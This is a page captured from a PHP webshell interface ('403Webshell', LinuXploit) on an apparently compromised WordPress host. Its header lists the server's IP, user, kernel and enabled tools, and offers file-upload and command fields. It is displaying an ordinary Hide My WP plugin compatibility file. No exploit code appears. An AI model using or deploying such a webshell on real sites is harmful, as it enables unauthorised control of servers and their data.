403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.150
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mypckeys/public_html/wp-content/plugins/hide-my-wp/models/compatibility/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mypckeys/public_html/wp-content/plugins/hide-my-wp/models/compatibility/MMaintenance.php
<?php
/**
 * Compatibility Class
 *
 * @file The Minimal Maintenance Model file
 * @package HMWP/Compatibility/Minimal Maintenance
 */

defined('ABSPATH') || die('Cheatin\' uh?');

class HMWP_Models_Compatibility_MMaintenance extends HMWP_Models_Compatibility_Abstract
{

    public function hookFrontend()
    {

	    if (HMWP_Classes_Tools::$default['hmwp_login_url'] <> HMWP_Classes_Tools::getOption('hmwp_login_url') ) {
		    add_filter('csmm_get_options', function ($signals_csmm_options){
			    $signals_csmm_options['custom_login_url'] = HMWP_Classes_Tools::getOption('hmwp_login_url');

			    return $signals_csmm_options;
		    });

		    if(isset($_SERVER["REQUEST_URI"])) {
			    $url = untrailingslashit(strtok($_SERVER["REQUEST_URI"], '?'));

			    if (strpos($url , site_url('wp-login.php', 'relative')) !== false){
				    add_filter('csmm_force_display', "__return_false");
			    }

		    }
	    }

	    $headers = headers_list();

	    if(!empty($headers)) {
		    $iscontenttype = false;
		    foreach ($headers as $value) {
			    if (strpos($value, ':') !== false) {
				    if (stripos($value, 'Content-Type') !== false) {
					    $iscontenttype = true;
				    }
			    }
		    }

		    if(!$iscontenttype) {
			    header('Content-Type: text/html; charset=UTF-8');
			    add_filter('hmwp_priority_buffer', '__return_true');
		    }
	    }

	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit